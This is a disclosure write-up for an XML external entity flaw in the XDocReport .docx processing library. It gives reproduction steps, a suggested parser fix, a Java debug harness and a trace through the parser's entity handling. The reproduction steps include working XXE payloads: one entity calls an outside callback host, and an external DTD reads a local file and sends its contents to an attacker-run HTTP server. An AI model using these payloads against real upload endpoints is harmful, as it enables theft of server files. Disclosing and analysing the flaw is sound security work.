# CVE-2025-65482 (XXE) EN
# XML External Entity Injection (XXE) in XDocReport
## Bug Definition
XML External Entity Injection
Overview of the vulnerability
- XML External Entity Injection (XXE) is a vulnerability in XML data processing where an attacker supplies XML that references external files or systems. An attacker can exploit this XXE to scan other systems for open service ports, request sensitive files, and access functionality of connected systems that would otherwise be unavailable. From there, the attacker can extract data, interact with systems, and cause service disruption by injecting XML.
Business impact
- XXE can cause reputational damage to a business due to loss of user trust. It can also lead to data theft and indirect financial loss for the business through notification and remediation costs and breached PII.
## Severity HIGH

## Description and Impact
A human resources management website allows users to upload `.docx` document files to the system. During processing, the application uses the `fr.opensagres.xdocreport.document.docx` library which contains an XXE vulnerability when a user’s `.docx` file is passed to a `SAXParser`.
## Affected component
fr.opensagres.xdocreport.template.docx — XDocReport (versions <= 2.0.3)
## Root cause analysis
Apache POI is used:
```
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
```
That means Apache POI is buried deep inside the module:
```
org.apache.poi.xwpf.converter.core
```

The vulnerability occurs because XDocReport (in the `fr.opensagres.xdocreport.document.docx` module) uses Apache POI to read `.docx` files, and POI in turn uses Java’s default `SAXParser` without disabling features that allow DTD processing and external entities.
→ This lets an attacker inject a `DOCTYPE` containing an entity that points to an external resource (`SYSTEM "http://..."`) or to a local file (`file:///...`), resulting in an XXE.

```
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
```
## Steps to reproduce
- Unzip any `.docx` file
```
unzip ../vcspentest.docx
```

- Edit the `word/document.xml` inside the docx
```
nano word/document.xml
```

Edit with an out-of-band payload that triggers an external callback (to collaborator) as follows:
```xml
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
```

- Rezip into a poc docx file
```
zip -r ../poc.docx *
```


- Upload the modified docx so XDocReport processes it

- Result: a request is sent to collaborator

- Increase impact to read arbitrary files on the system
- Host serving the DTD is on WSL `172.26.208.130`. The content of the file `vcspentest.dtd` is:
```xml
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
```


Edit `word/document.xml` inside the `.docx` to load the external DTD from the WSL machine:
```xml
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
```

- Zip back to `.docx` and upload the file to the server for processing


- On the WSL machine you can see a request arriving containing the contents of `D:/vcspentest.txt` from the target server


## Solution
- https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

In the code or at the XML parser configuration level, all features related to DTD and external entities should be disabled.
Fix similar to this code:
```java
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
```
## Debug environment setup

- In `Main.java`:
```java
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Read the input file containing the Velocity expression
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // Input file
InputStream input = new FileInputStream(docxTemplate);
// Load template using Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Load template using FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Create context - can be empty if only testing isolated expressions
IContext context = report.createContext();
// Output to a new file
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Successfully created result.docx.");
} catch (Exception e) {
System.err.println("❌ File processing error:");
e.printStackTrace();
}
}
}
```
- Required libraries to import
```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
```
## Debug — source/sink analysis
- The input from the XML content inside the `.docx` is passed through a preprocessing step

- Then it is processed by a `SAXParser` without input validation




- Then it goes into the `scanDocument()` function which scans the XML content and emits events (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)




- It checks the entity name (e.g., name = "xxe") to see if it is an external entity
- If the entity was declared and is external, the parser will call the external resolution logic (for example `startExternalEntity(...)` / `fEntityManager.startEntity(...)`) — this is the sink: at this point the parser will take the systemId/publicId and try to open a stream (which can generate an HTTP request to the outside).



- If `xxe` is an external entity then `startEntity(...)` leads to logic that opens the resource (for example `startExternalEntity(...)` / opens an `InputStream` → possibility of triggering an HTTP request to the SYSTEM URL).



- This is where the parser begins processing the "xxe" entity.






```java
// should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
```

- The `startEntity()` function checks if the entity is external (`isExternal = true`), then calls:
```java
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
```
The variable `externalEntity.entityLocation` contains the malicious URL from the `DOCTYPE` (SYSTEM "http://...oastify.com/").

- `resolveEntityAsPerStax`, the `resourceIdentifier` contains the absolute URL: `http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/`
- This function then converts the `resourceIdentifier` into an `XMLResourceIdentifierImpl` object and proceeds to open the actual connection to read the content.


---